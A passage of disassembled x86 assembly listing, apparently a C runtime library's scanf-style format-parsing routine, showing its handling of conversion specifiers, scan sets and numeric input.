[ebp+arg_4] xor edx, edx mov dl, [ecx] test edx, edx jz loc_4249AA cmp dword_447480, 1 jle short loc_423769 push 8 mov eax, [ebp+arg_4] xor ecx, ecx mov cl, [eax] push ecx call sub_41FA40 add esp, 8 mov [ebp+var_1F8], eax jmp short loc_423785 ; --------------------------------------------------------------------------- loc_423769: ; CODE XREF: sub_4236C0+8Dj mov edx, [ebp+arg_4] xor eax, eax mov al, [edx] mov ecx, off_447274 xor edx, edx mov dx, [ecx+eax*2] and edx, 8 mov [ebp+var_1F8], edx loc_423785: ; CODE XREF: sub_4236C0+A7j cmp [ebp+var_1F8], 0 jz short loc_4237D3 mov eax, [ebp+var_20] sub eax, 1 mov [ebp+var_20], eax mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+arg_0] push edx lea eax, [ebp+var_20] push eax call sub_424B80 add esp, 8 push eax call sub_424B60 add esp, 8 loc_4237B4: ; CODE XREF: sub_4236C0+111j mov ecx, [ebp+arg_4] add ecx, 1 mov [ebp+arg_4], ecx mov edx, [ebp+arg_4] xor eax, eax mov al, [edx] push eax call sub_42A980 add esp, 4 test eax, eax jz short loc_4237D3 jmp short loc_4237B4 ; --------------------------------------------------------------------------- loc_4237D3: ; CODE XREF: sub_4236C0+CCj ; sub_4236C0+10Fj mov ecx, [ebp+arg_4] xor edx, edx mov dl, [ecx] cmp edx, 25h jnz loc_42488E mov [ebp+var_40], 0 mov byte ptr [ebp+var_8], 0 mov [ebp+var_6C], 0 mov eax, [ebp+var_6C] mov [ebp+var_1E8], eax mov ecx, [ebp+var_1E8] mov [ebp+var_1C], ecx mov [ebp+var_10], 0 mov dl, [ebp+var_10] mov [ebp+var_68], dl mov al, [ebp+var_68] mov [ebp+var_70], al mov cl, [ebp+var_70] mov [ebp+var_18], cl mov dl, [ebp+var_18] mov [ebp+var_64], dl mov [ebp+var_14], 0 mov [ebp+var_38], 1 mov [ebp+var_1DC], 0 loc_423835: ; CODE XREF: sub_4236C0:loc_42398Dj movsx eax, [ebp+var_18] test eax, eax jnz loc_423992 mov ecx, [ebp+arg_4] add ecx, 1 mov [ebp+arg_4], ecx mov edx, [ebp+arg_4] xor eax, eax mov al, [edx] mov [ebp+var_C], eax cmp dword_447480, 1 jle short loc_423879 push 4 mov ecx, [ebp+var_C] and ecx, 0FFh push ecx call sub_41FA40 add esp, 8 mov [ebp+var_1FC], eax jmp short loc_423896 ; --------------------------------------------------------------------------- loc_423879: ; CODE XREF: sub_4236C0+19Bj mov edx, [ebp+var_C] and edx, 0FFh mov eax, off_447274 xor ecx, ecx mov cx, [eax+edx*2] and ecx, 4 mov [ebp+var_1FC], ecx loc_423896: ; CODE XREF: sub_4236C0+1B7j cmp [ebp+var_1FC], 0 jz short loc_4238C6 mov edx, [ebp+var_1E8] add edx, 1 mov [ebp+var_1E8], edx mov eax, [ebp+var_1C] mov ecx, [ebp+var_1C] lea edx, [ecx+eax*4] mov eax, [ebp+var_C] lea ecx, [eax+edx*2-30h] mov [ebp+var_1C], ecx jmp loc_42398D ; --------------------------------------------------------------------------- loc_4238C6: ; CODE XREF: sub_4236C0+1DDj mov edx, [ebp+var_C] mov [ebp+var_200], edx mov eax, [ebp+var_200] sub eax, 2Ah mov [ebp+var_200], eax cmp [ebp+var_200], 4Dh ja loc_423985 mov edx, [ebp+var_200] xor ecx, ecx mov cl, byte_424A08[edx] jmp off_4249E8[ecx*4] loc_423900: ; DATA XREF: .data:004249ECo jmp loc_42398D ; --------------------------------------------------------------------------- loc_423905: ; CODE XREF: sub_4236C0+239j ; DATA XREF: .data:004249F8o mov al, [ebp+var_38] sub al, 1 mov [ebp+var_38], al mov cl, [ebp+var_14] sub cl, 1 mov [ebp+var_14], cl jmp short loc_42398D ; --------------------------------------------------------------------------- loc_423918: ; CODE XREF: sub_4236C0+239j ; DATA XREF: .data:004249F0o mov edx, [ebp+arg_4] xor eax, eax mov al, [edx+1] cmp eax, 36h jnz short loc_42395A mov ecx, [ebp+arg_4] xor edx, edx mov dl, [ecx+2] cmp edx, 34h jnz short loc_42395A mov eax, [ebp+arg_4] add eax, 2 mov [ebp+arg_4], eax mov ecx, [ebp+var_1DC] add ecx, 1 mov [ebp+var_1DC], ecx mov [ebp+var_30], 0 mov [ebp+var_2C], 0 jmp short loc_42398D ; --------------------------------------------------------------------------- loc_42395A: ; CODE XREF: sub_4236C0+263j ; sub_4236C0+270j jmp short loc_423985 ; --------------------------------------------------------------------------- loc_42395C: ; CODE XREF: sub_4236C0+239j ; DATA XREF: .data:004249F4o mov dl, [ebp+var_38] add dl, 1 mov [ebp+var_38], dl jmp short loc_42398D ; --------------------------------------------------------------------------- loc_423967: ; CODE XREF: sub_4236C0+239j ; DATA XREF: .data:004249FCo mov al, [ebp+var_38] add al, 1 mov [ebp+var_38], al loc_42396F: ; CODE XREF: sub_4236C0+239j ; DATA XREF: .data:00424A00o mov cl, [ebp+var_14] add cl, 1 mov [ebp+var_14], cl jmp short loc_42398D ; --------------------------------------------------------------------------- loc_42397A: ; CODE XREF: sub_4236C0+239j ; DATA XREF: .data:off_4249E8o mov dl, [ebp+var_70] add dl, 1 mov [ebp+var_70], dl jmp short loc_42398D ; --------------------------------------------------------------------------- loc_423985: ; CODE XREF: sub_4236C0+225j ; sub_4236C0+239j ... mov al, [ebp+var_18] add al, 1 mov [ebp+var_18], al loc_42398D: ; CODE XREF: sub_4236C0+201j ; sub_4236C0:loc_423900j ... jmp loc_423835 ; --------------------------------------------------------------------------- loc_423992: ; CODE XREF: sub_4236C0+17Bj movsx ecx, [ebp+var_70] test ecx, ecx jnz short loc_4239B5 mov edx, [ebp+arg_8] mov [ebp+var_1D4], edx mov eax, [ebp+arg_8] add eax, 4 mov [ebp+arg_8], eax mov ecx, [ebp+arg_8] mov edx, [ecx-4] mov [ebp+var_3C], edx loc_4239B5: ; CODE XREF: sub_4236C0+2D8j mov [ebp+var_18], 0 movsx eax, [ebp+var_14] test eax, eax jnz short loc_4239EC mov ecx, [ebp+arg_4] xor edx, edx mov dl, [ecx] cmp edx, 53h jz short loc_4239D9 mov eax, [ebp+arg_4] xor ecx, ecx mov cl, [eax] cmp ecx, 43h jnz short loc_4239E4 loc_4239D9: ; CODE XREF: sub_4236C0+30Bj mov dl, [ebp+var_14] add dl, 1 mov [ebp+var_14], dl jmp short loc_4239EC ; --------------------------------------------------------------------------- loc_4239E4: ; CODE XREF: sub_4236C0+317j mov al, [ebp+var_14] sub al, 1 mov [ebp+var_14], al loc_4239EC: ; CODE XREF: sub_4236C0+2FFj ; sub_4236C0+322j mov ecx, [ebp+arg_4] xor edx, edx mov dl, [ecx] or edx, 20h mov [ebp+var_C], edx cmp [ebp+var_C], 6Eh jz short loc_423A3E cmp [ebp+var_C], 63h jz short loc_423A23 cmp [ebp+var_C], 7Bh jz short loc_423A23 mov eax, [ebp+arg_0] push eax lea ecx, [ebp+var_20] push ecx call sub_424B80 add esp, 8 mov [ebp+var_1D8], eax jmp short loc_423A3E ; --------------------------------------------------------------------------- loc_423A23: ; CODE XREF: sub_4236C0+343j ; sub_4236C0+349j mov edx, [ebp+var_20] add edx, 1 mov [ebp+var_20], edx mov eax, [ebp+arg_0] push eax call sub_424B00 add esp, 4 mov [ebp+var_1D8], eax loc_423A3E: ; CODE XREF: sub_4236C0+33Dj ; sub_4236C0+361j cmp [ebp+var_1E8], 0 jz short loc_423A51 cmp [ebp+var_1C], 0 jz loc_42485F loc_423A51: ; CODE XREF: sub_4236C0+385j mov ecx, [ebp+var_C] mov [ebp+var_204], ecx mov edx, [ebp+var_204] sub edx, 63h mov [ebp+var_204], edx cmp [ebp+var_204], 18h ja loc_42480A mov ecx, [ebp+var_204] xor eax, eax mov al, byte_424A7E[ecx] jmp dword ptr loc_424A56[eax*4] cmp [ebp+var_1E8], 0 jnz short loc_423AAC mov edx, [ebp+var_1E8] add edx, 1 mov [ebp+var_1E8], edx mov eax, [ebp+var_1C] add eax, 1 mov [ebp+var_1C], eax loc_423AAC: ; CODE XREF: sub_4236C0+3D2j movsx ecx, [ebp+var_14] test ecx, ecx jle short loc_423ABD mov dl, [ebp+var_64] add dl, 1 mov [ebp+var_64], dl loc_423ABD: ; CODE XREF: sub_4236C0+3F2j mov [ebp+var_1E0], offset dword_44771C mov al, [ebp+var_10] sub al, 1 mov [ebp+var_10], al jmp short loc_423B40 ; --------------------------------------------------------------------------- loc_423AD1: ; CODE XREF: sub_4236C0+3C4j movsx ecx, [ebp+var_14] test ecx, ecx jle short loc_423AE2 mov dl, [ebp+var_64] add dl, 1 mov [ebp+var_64], dl loc_423AE2: ; CODE XREF: sub_4236C0+417j mov [ebp+var_1E0], offset dword_447714 mov al, [ebp+var_10] sub al, 1 mov [ebp+var_10], al jmp short loc_423B40 ; --------------------------------------------------------------------------- loc_423AF6: ; CODE XREF: sub_4236C0+3C4j ; DATA XREF: .data:00424A76o movsx ecx, [ebp+var_14] test ecx, ecx jle short loc_423B07 mov dl, [ebp+var_64] add dl, 1 mov [ebp+var_64], dl loc_423B07: ; CODE XREF: sub_4236C0+43Cj mov eax, [ebp+arg_4] add eax, 1 mov [ebp+arg_4], eax mov ecx, [ebp+arg_4] mov [ebp+var_1E0], ecx mov edx, [ebp+var_1E0] xor eax, eax mov al, [edx] cmp eax, 5Eh jnz short loc_423B40 mov ecx, [ebp+var_1E0] add ecx, 1 mov [ebp+var_1E0], ecx mov dl, [ebp+var_10] sub dl, 1 mov [ebp+var_10], dl loc_423B40: ; CODE XREF: sub_4236C0+40Fj ; sub_4236C0+434j ... push 20h push 0 lea eax, [ebp+var_60] push eax call sub_417700 add esp, 0Ch cmp [ebp+var_C], 7Bh jnz short loc_423B7C mov ecx, [ebp+var_1E0] xor edx, edx mov dl, [ecx] cmp edx, 5Dh jnz short loc_423B7C mov byte ptr [ebp+var_8], 5Dh mov eax, [ebp+var_1E0] add eax, 1 mov [ebp+var_1E0], eax mov [ebp+var_55], 20h loc_423B7C: ; CODE XREF: sub_4236C0+494j ; sub_4236C0+4A3j ... mov ecx, [ebp+var_1E0] xor edx, edx mov dl, [ecx] cmp edx, 5Dh jz loc_423CE7 mov eax, [ebp+var_1E0] mov cl, [eax] mov byte ptr [ebp+var_1EC], cl mov edx, [ebp+var_1E0] add edx, 1 mov [ebp+var_1E0], edx mov eax, [ebp+var_1EC] and eax, 0FFh cmp eax, 2Dh jnz short loc_423BD8 mov ecx, [ebp+var_8] and ecx, 0FFh test ecx, ecx jz short loc_423BD8 mov edx, [ebp+var_1E0] xor eax, eax mov al, [edx] cmp eax, 5Dh jnz short loc_423C1E loc_423BD8: ; CODE XREF: sub_4236C0+4FAj ; sub_4236C0+507j mov cl, byte ptr [ebp+var_1EC] mov byte ptr [ebp+var_8], cl mov edx, [ebp+var_8] and edx, 0FFh sar edx, 3 mov ecx, [ebp+var_1EC] and ecx, 0FFh and ecx, 7 mov eax, 1 shl eax, cl mov cl, [ebp+edx+var_60] or cl, al mov edx, [ebp+var_8] and edx, 0FFh sar edx, 3 mov [ebp+edx+var_60], cl jmp loc_423CE2 ; --------------------------------------------------------------------------- loc_423C1E: ; CODE XREF: sub_4236C0+516j mov eax, [ebp+var_1E0] mov cl, [eax] mov byte ptr [ebp+var_1EC], cl mov edx, [ebp+var_1E0] add edx, 1 mov [ebp+var_1E0], edx mov eax, [ebp+var_8] and eax, 0FFh mov ecx, [ebp+var_1EC] and ecx, 0FFh cmp eax, ecx jge short loc_423C5E mov dl, byte ptr [ebp+var_1EC] mov byte ptr [ebp+var_24], dl jmp short loc_423C6D ; --------------------------------------------------------------------------- loc_423C5E: ; CODE XREF: sub_4236C0+591j mov al, byte ptr [ebp+var_8] mov byte ptr [ebp+var_24], al mov cl, byte ptr [ebp+var_1EC] mov byte ptr [ebp+var_8], cl loc_423C6D: ; CODE XREF: sub_4236C0+59Cj mov dl, byte ptr [ebp+var_8] mov byte ptr [ebp+var_1EC], dl jmp short loc_423C86 ; --------------------------------------------------------------------------- loc_423C78: ; CODE XREF: sub_4236C0+61Cj mov al, byte ptr [ebp+var_1EC] add al, 1 mov byte ptr [ebp+var_1EC], al loc_423C86: ; CODE XREF: sub_4236C0+5B6j mov ecx, [ebp+var_1EC] and ecx, 0FFh mov edx, [ebp+var_24] and edx, 0FFh cmp ecx, edx jg short loc_423CDE mov eax, [ebp+var_1EC] and eax, 0FFh sar eax, 3 mov ecx, [ebp+var_1EC] and ecx, 0FFh and ecx, 7 mov edx, 1 shl edx, cl mov al, [ebp+eax+var_60] or al, dl mov ecx, [ebp+var_1EC] and ecx, 0FFh sar ecx, 3 mov [ebp+ecx+var_60], al jmp short loc_423C78 ; --------------------------------------------------------------------------- loc_423CDE: ; CODE XREF: sub_4236C0+5DDj mov byte ptr [ebp+var_8], 0 loc_423CE2: ; CODE XREF: sub_4236C0+559j jmp loc_423B7C ; --------------------------------------------------------------------------- loc_423CE7: ; CODE XREF: sub_4236C0+4C9j mov edx, [ebp+var_1E0] xor eax, eax mov al, [edx] test eax, eax jnz short loc_423CFA jmp loc_4249AA ; --------------------------------------------------------------------------- loc_423CFA: ; CODE XREF: sub_4236C0+633j cmp [ebp+var_C], 7Bh jnz short loc_423D09 mov ecx, [ebp+var_1E0] mov [ebp+arg_4], ecx loc_423D09: ; CODE XREF: sub_4236C0+63Ej mov edx, [ebp+var_3C] mov [ebp+var_1E4], edx mov eax, [ebp+var_20] sub eax, 1 mov [ebp+var_20], eax mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+var_1D8] push edx call sub_424B60 add esp, 8 loc_423D2E: ; CODE XREF: sub_4236C0:loc_423E70j cmp [ebp+var_1E8], 0 jz short loc_423D4B mov eax, [ebp+var_1C] mov ecx, [ebp+var_1C] sub ecx, 1 mov [ebp+var_1C], ecx test eax, eax jz loc_423E75 loc_423D4B: ; CODE XREF: sub_4236C0+675j mov edx, [ebp+var_20] add edx, 1 mov [ebp+var_20], edx mov eax, [ebp+arg_0] push eax call sub_424B00 add esp, 4 mov [ebp+var_1D8], eax cmp [ebp+var_1D8], 0FFFFFFFFh jz loc_423E52 mov ecx, [ebp+var_1D8] sar ecx, 3 movsx edx, [ebp+ecx+var_60] movsx eax, [ebp+var_10] xor edx, eax mov ecx, [ebp+var_1D8] and ecx, 7 mov eax, 1 shl eax, cl and edx, eax test edx, edx jz loc_423E52 movsx ecx, [ebp+var_70] test ecx, ecx jnz loc_423E41 movsx edx, [ebp+var_64] test edx, edx jz short loc_423E2B mov al, byte ptr [ebp+var_1D8] mov [ebp+var_1F0], al mov ecx, [ebp+var_1D8] and ecx, 0FFh mov edx, off_447274 xor eax, eax mov ax, [edx+ecx*2] and eax, 8000h test eax, eax jz short loc_423DFD mov ecx, [ebp+var_20] add ecx, 1 mov [ebp+var_20], ecx mov edx, [ebp+arg_0] push edx call sub_424B00 add esp, 4 mov [ebp+var_1EF], al loc_423DFD: ; CODE XREF: sub_4236C0+720j mov eax, dword_447480 push eax lea ecx, [ebp+var_1F0] push ecx lea edx, [ebp+var_4] push edx call sub_42A640 add esp, 0Ch mov eax, [ebp+var_3C] mov cx, [ebp+var_4] mov [eax], cx mov edx, [ebp+var_3C] add edx, 2 mov [ebp+var_3C], edx jmp short loc_423E3F ; --------------------------------------------------------------------------- loc_423E2B: ; CODE XREF: sub_4236C0+6F3j mov eax, [ebp+var_3C] mov cl, byte ptr [ebp+var_1D8] mov [eax], cl mov edx, [ebp+var_3C] add edx, 1 mov [ebp+var_3C], edx loc_423E3F: ; CODE XREF: sub_4236C0+769j jmp short loc_423E50 ; --------------------------------------------------------------------------- loc_423E41: ; CODE XREF: sub_4236C0+6E7j mov eax, [ebp+var_1E4] add eax, 1 mov [ebp+var_1E4], eax loc_423E50: ; CODE XREF: sub_4236C0:loc_423E3Fj jmp short loc_423E70 ; --------------------------------------------------------------------------- loc_423E52: ; CODE XREF: sub_4236C0+6ADj ; sub_4236C0+6DBj mov ecx, [ebp+var_20] sub ecx, 1 mov [ebp+var_20], ecx mov edx, [ebp+arg_0] push edx mov eax, [ebp+var_1D8] push eax call sub_424B60 add esp, 8 jmp short loc_423E75 ; --------------------------------------------------------------------------- loc_423E70: ; CODE XREF: sub_4236C0:loc_423E50j jmp loc_423D2E ; --------------------------------------------------------------------------- loc_423E75: ; CODE XREF: sub_4236C0+685j ; sub_4236C0+7AEj mov ecx, [ebp+var_1E4] cmp ecx, [ebp+var_3C] jz short loc_423EB1 movsx edx, [ebp+var_70] test edx, edx jnz short loc_423EAF mov eax, [ebp+var_34] add eax, 1 mov [ebp+var_34], eax cmp [ebp+var_C], 63h jz short loc_423EAF movsx ecx, [ebp+var_64] test ecx, ecx jz short loc_423EA9 mov edx, [ebp+var_3C] mov word ptr [edx], 0 jmp short loc_423EAF ; --------------------------------------------------------------------------- loc_423EA9: ; CODE XREF: sub_4236C0+7DDj mov eax, [ebp+var_3C] mov byte ptr [eax], 0 loc_423EAF: ; CODE XREF: sub_4236C0+7C6j ; sub_4236C0+7D5j ... jmp short loc_423EB6 ; --------------------------------------------------------------------------- loc_423EB1: ; CODE XREF: sub_4236C0+7BEj jmp loc_4249AA ; --------------------------------------------------------------------------- loc_423EB6: ; CODE XREF: sub_4236C0:loc_423EAFj jmp loc_424854 ; --------------------------------------------------------------------------- loc_423EBB: ; CODE XREF: sub_4236C0+3C4j mov [ebp+var_C], 64h loc_423EC2: ; CODE XREF: sub_4236C0+3C4j cmp [ebp+var_1D8], 2Dh jnz short loc_423ED6 mov cl, [ebp+var_68] add cl, 1 mov [ebp+var_68], cl jmp short loc_423EDF ; --------------------------------------------------------------------------- loc_423ED6: ; CODE XREF: sub_4236C0+809j cmp [ebp+var_1D8], 2Bh jnz short loc_423F1C loc_423EDF: ; CODE XREF: sub_4236C0+814j mov edx, [ebp+var_1C] sub edx, 1 mov [ebp+var_1C], edx cmp [ebp+var_1C], 0 jnz short loc_423F01 cmp [ebp+var_1E8], 0 jz short loc_423F01 mov al, [ebp+var_18] add al, 1 mov [ebp+var_18], al jmp short loc_423F1C ; --------------------------------------------------------------------------- loc_423F01: ; CODE XREF: sub_4236C0+82Cj ; sub_4236C0+835j mov ecx, [ebp+var_20] add ecx, 1 mov [ebp+var_20], ecx mov edx, [ebp+arg_0] push edx call sub_424B00 add esp, 4 mov [ebp+var_1D8], eax loc_423F1C: ; CODE XREF: sub_4236C0+81Dj ; sub_4236C0+83Fj cmp [ebp+var_1D8], 30h jnz loc_423FBE mov eax, [ebp+var_20] add eax, 1 mov [ebp+var_20], eax mov ecx, [ebp+arg_0] push ecx call sub_424B00 add esp, 4 mov [ebp+var_1D8], eax movsx edx, byte ptr [ebp+var_1D8] cmp edx, 78h jz short loc_423F5C movsx eax, byte ptr [ebp+var_1D8] cmp eax, 58h jnz short loc_423F80 loc_423F5C: ; CODE XREF: sub_4236C0+88Ej mov ecx, [ebp+var_20] add ecx, 1 mov [ebp+var_20], ecx mov edx, [ebp+arg_0] push edx call sub_424B00 add esp, 4 mov [ebp+var_1D8], eax mov [ebp+var_C], 78h jmp short loc_423FBE ; --------------------------------------------------------------------------- loc_423F80: ; CODE XREF: sub_4236C0+89Aj mov eax, [ebp+var_6C] add eax, 1 mov [ebp+var_6C], eax cmp [ebp+var_C], 78h jz short loc_423F98 mov [ebp+var_C], 6Fh jmp short loc_423FBE ; --------------------------------------------------------------------------- loc_423F98: ; CODE XREF: sub_4236C0+8CDj mov ecx, [ebp+var_20] sub ecx, 1 mov [ebp+var_20], ecx mov edx, [ebp+arg_0] push edx mov eax, [ebp+var_1D8] push eax call sub_424B60 add esp, 8 mov [ebp+var_1D8], 30h loc_423FBE: ; CODE XREF: sub_4236C0+863j ; sub_4236C0+8BEj ... jmp short loc_42401E ; --------------------------------------------------------------------------- loc_423FC0: ; CODE XREF: sub_4236C0+3C4j mov [ebp+var_38], 1 loc_423FC4: ; CODE XREF: sub_4236C0+3C4j cmp [ebp+var_1D8], 2Dh jnz short loc_423FD8 mov cl, [ebp+var_68] add cl, 1 mov [ebp+var_68], cl jmp short loc_423FE1 ; --------------------------------------------------------------------------- loc_423FD8: ; CODE XREF: sub_4236C0+90Bj cmp [ebp+var_1D8], 2Bh jnz short loc_42401E loc_423FE1: ; CODE XREF: sub_4236C0+916j mov edx, [ebp+var_1C] sub edx, 1 mov [ebp+var_1C], edx cmp [ebp+var_1C], 0 jnz short loc_424003 cmp [ebp+var_1E8], 0 jz short loc_424003 mov al, [ebp+var_18] add al, 1 mov [ebp+var_18], al jmp short loc_42401E ; --------------------------------------------------------------------------- loc_424003: ; CODE XREF: sub_4236C0+92Ej ; sub_4236C0+937j mov ecx, [ebp+var_20] add ecx, 1 mov [ebp+var_20], ecx mov edx, [ebp+arg_0] push edx call sub_424B00 add esp, 4 mov [ebp+var_1D8], eax loc_42401E: ; CODE XREF: sub_4236C0:loc_423FBEj ; sub_4236C0+91Fj ... cmp [ebp+var_1DC], 0 jz loc_424219 loc_42402B: ; CODE XREF: sub_4236C0:loc_4241F4j movsx eax, [ebp+var_18] test eax, eax jnz loc_4241F9 cmp [ebp+var_C], 78h jnz loc_4240C6 cmp dword_447480, 1 jle short loc_424066 push 80h mov ecx, [ebp+var_1D8] push ecx call sub_41FA40 add esp, 8 mov [ebp+var_208], eax jmp short loc_424083 ; --------------------------------------------------------------------------- loc_424066: ; CODE XREF: sub_4236C0+988j mov edx, [ebp+var_1D8] mov eax, off_447274 xor ecx, ecx mov cx, [eax+edx*2] and ecx, 80h mov [ebp+var_208], ecx loc_424083: ; CODE XREF: sub_4236C0+9A4j cmp [ebp+var_208], 0 jz short loc_4240B9 mov ecx, 4 mov eax, [ebp+var_30] mov edx, [ebp+var_2C] call sub_42AC10 mov [ebp+var_30], eax mov [ebp+var_2C], edx mov edx, [ebp+var_1D8] push edx call sub_424AA0 add esp, 4 mov [ebp+var_1D8], eax jmp short loc_4240C1 ; --------------------------------------------------------------------------- loc_4240B9: ; CODE XREF: sub_4236C0+9CAj mov al, [ebp+var_18] add al, 1 mov [ebp+var_18], al loc_4240C1: ; CODE XREF: sub_4236C0+9F7j jmp loc_42416D ; --------------------------------------------------------------------------- loc_4240C6: ; CODE XREF: sub_4236C0+97Bj cmp dword_447480, 1 jle short loc_4240E8 push 4 mov ecx, [ebp+var_1D8] push ecx call sub_41FA40 add esp, 8 mov [ebp+var_20C], eax jmp short loc_424102 ; --------------------------------------------------------------------------- loc_4240E8: ; CODE XREF: sub_4236C0+A0Dj mov edx, [ebp+var_1D8] mov eax, off_447274 xor ecx, ecx mov cx, [eax+edx*2] and ecx, 4 mov [ebp+var_20C], ecx loc_424102: ; CODE XREF: sub_4236C0+A26j cmp [ebp+var_20C], 0 jz short loc_424165 cmp [ebp+var_C], 6Fh jnz short loc_42413D cmp [ebp+var_1D8], 38h jge short loc_424132 mov ecx, 3 mov eax, [ebp+var_30] mov edx, [ebp+var_2C] call sub_42AC10 mov [ebp+var_30], eax mov [ebp+var_2C], edx jmp short loc_42413B ; --------------------------------------------------------------------------- loc_424132: ; CODE XREF: sub_4236C0+A58j mov dl, [ebp+var_18] add dl, 1 mov [ebp+var_18], dl loc_42413B: ; CODE XREF: sub_4236C0+A70j jmp short loc_424163 ; --------------------------------------------------------------------------- loc_42413D: ; CODE XREF: sub_4236C0+A4Fj mov ecx, 2 mov eax, [ebp+var_30] mov edx, [ebp+var_2C] call sub_42AC10 add eax, [ebp+var_30] adc edx, [ebp+var_2C] mov ecx, 1 call sub_42AC10 mov [ebp+var_30], eax mov [ebp+var_2C], edx loc_424163: ; CODE XREF: sub_4236C0:loc_42413Bj jmp short loc_42416D ; --------------------------------------------------------------------------- loc_424165: ; CODE XREF: sub_4236C0+A49j mov al, [ebp+var_18] add al, 1 mov [ebp+var_18], al loc_42416D: ; CODE XREF: sub_4236C0:loc_4240C1j ; sub_4236C0:loc_424163j movsx ecx, [ebp+var_18] test ecx, ecx jnz short loc_4241D8 mov edx, [ebp+var_6C] add edx, 1 mov [ebp+var_6C], edx mov eax, [ebp+var_1D8] sub eax, 30h cdq mov ecx, [ebp+var_30] add ecx, eax mov eax, [ebp+var_2C] adc eax, edx mov [ebp+var_30], ecx mov [ebp+var_2C], eax cmp [ebp+var_1E8], 0 jz short loc_4241BB mov ecx, [ebp+var_1C] sub ecx, 1 mov [ebp+var_1C], ecx cmp [ebp+var_1C], 0 jnz short loc_4241BB mov dl, [ebp+var_18] add dl, 1 mov [ebp+var_18], dl jmp short loc_4241D6 ; --------------------------------------------------------------------------- loc_4241BB: ; CODE XREF: sub_4236C0+ADFj ; sub_4236C0+AEEj mov eax, [ebp+var_20] add eax, 1 mov [ebp+var_20], eax mov ecx, [ebp+arg_0] push ecx call sub_424B00 add esp, 4 mov [ebp+var_1D8], eax loc_4241D6: ; CODE XREF: sub_4236C0+AF9j jmp short loc_4241F4 ; --------------------------------------------------------------------------- loc_4241D8: ; CODE XREF: sub_4236C0+AB3j mov edx, [ebp+var_20] sub edx, 1 mov [ebp+var_20], edx mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_1D8] push ecx call sub_424B60 add esp, 8 loc_4241F4: ; CODE XREF: sub_4236C0:loc_4241D6j jmp loc_42402B ; --------------------------------------------------------------------------- loc_4241F9: ; CODE XREF: sub_4236C0+971j movsx edx, [ebp+var_68] test edx, edx jz short loc_424214 mov eax, [ebp+var_30] neg eax mov ecx, [ebp+var_2C] adc ecx, 0 neg ecx mov [ebp+var_30], eax mov [ebp+var_2C], ecx loc_424214: ; CODE XREF: sub_4236C0+B3Fj jmp loc_4243BD ; --------------------------------------------------------------------------- loc_424219: ; CODE XREF: sub_4236C0+965j ; sub_4236C0:loc_4243A8j movsx edx, [ebp+var_18] test edx, edx jnz loc_4243AD cmp [ebp+var_C], 78h jz short loc_424231 cmp [ebp+var_C], 70h jnz short loc_4242A9 loc_424231: ; CODE XREF: sub_4236C0+B69j cmp dword_447480, 1 jle short loc_424256 push 80h mov eax, [ebp+var_1D8] push eax call sub_41FA40 add esp, 8 mov [ebp+var_210], eax jmp short loc_424273 ; --------------------------------------------------------------------------- loc_424256: ; CODE XREF: sub_4236C0+B78j mov ecx, [ebp+var_1D8] mov edx, off_447274 xor eax, eax mov ax, [edx+ecx*2] and eax, 80h mov [ebp+var_210], eax loc_424273: ; CODE XREF: sub_4236C0+B94j cmp [ebp+var_210], 0 jz short loc_42429C mov ecx, [ebp+var_40] shl ecx, 4 mov [ebp+var_40], ecx mov edx, [ebp+var_1D8] push edx call sub_424AA0 add esp, 4 mov [ebp+var_1D8], eax jmp short loc_4242A4 ; --------------------------------------------------------------------------- loc_42429C: ; CODE XREF: sub_4236C0+BBAj mov al, [ebp+var_18] add al, 1 mov [ebp+var_18], al loc_4242A4: ; CODE XREF: sub_4236C0+BDAj jmp loc_42432B ; --------------------------------------------------------------------------- loc_4242A9: ; CODE XREF: sub_4236C0+B6Fj cmp dword_447480, 1 jle short loc_4242CB push 4 mov ecx, [ebp+var_1D8] push ecx call sub_41FA40 add esp, 8 mov [ebp+var_214], eax jmp short loc_4242E5 ; --------------------------------------------------------------------------- loc_4242CB: ; CODE XREF: sub_4236C0+BF0j mov edx, [ebp+var_1D8] mov eax, off_447274 xor ecx, ecx mov cx, [eax+edx*2] and ecx, 4 mov [ebp+var_214], ecx loc_4242E5: ; CODE XREF: sub_4236C0+C09j cmp [ebp+var_214], 0 jz short loc_424322 cmp [ebp+var_C], 6Fh jnz short loc_424312 cmp [ebp+var_1D8], 38h jge short loc_424308 mov edx, [ebp+var_40] shl edx, 3 mov [ebp+var_40], edx jmp short loc_424310 ; --------------------------------------------------------------------------- loc_424308: ; CODE XREF: sub_4236C0+C3Bj mov al, [ebp+var_18] add al, 1 mov [ebp+var_18], al loc_424310: ; CODE XREF: sub_4236C0+C46j jmp short loc_424320 ; --------------------------------------------------------------------------- loc_424312: ; CODE XREF: sub_4236C0+C32j mov ecx, [ebp+var_40] mov edx, [ebp+var_40] lea eax, [edx+ecx*4] shl eax, 1 mov [ebp+var_40], eax loc_424320: ; CODE XREF: sub_4236C0:loc_424310j jmp short loc_42432B ; --------------------------------------------------------------------------- loc_424322: ; CODE XREF: sub_4236C0+C2Cj mov cl, [ebp+var_18] add cl, 1 mov [ebp+var_18], cl loc_42432B: ; CODE XREF: sub_4236C0:loc_4242A4j ; sub_4236C0:loc_424320j movsx edx, [ebp+var_18] test edx, edx jnz short loc_42438C mov eax, [ebp+var_6C] add eax, 1 mov [ebp+var_6C], eax mov ecx, [ebp+var_1D8] mov edx, [ebp+var_40] lea eax, [edx+ecx-30h] mov [ebp+var_40], eax cmp [ebp+var_1E8], 0 jz short loc_42436F mov ecx, [ebp+var_1C] sub ecx, 1 mov [ebp+var_1C], ecx cmp [ebp+var_1C], 0 jnz short loc_42436F mov dl, [ebp+var_18] add dl, 1 mov [ebp+var_18], dl jmp short loc_42438A ; --------------------------------------------------------------------------- loc_42436F: ; CODE XREF: sub_4236C0+C93j ; sub_4236C0+CA2j mov eax, [ebp+var_20] add eax, 1 mov [ebp+var_20], eax mov ecx, [ebp+arg_0] push ecx call sub_424B00 add esp, 4 mov [ebp+var_1D8], eax loc_42438A: ; CODE XREF: sub_4236C0+CADj jmp short loc_4243A8 ; --------------------------------------------------------------------------- loc_42438C: ; CODE XREF: sub_4236C0+C71j mov edx, [ebp+var_20] sub edx, 1 mov [ebp+var_20], edx mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_1D8] push ecx call sub_424B60 add esp, 8 loc_4243A8: ; CODE XREF: sub_4236C0:loc_42438Aj jmp loc_424219 ; --------------------------------------------------------------------------- loc_4243AD: ; CODE XREF: sub_4236C0+B5Fj movsx edx, [ebp+var_68] test edx, edx jz short loc_4243BD mov eax, [ebp+var_40] neg eax mov 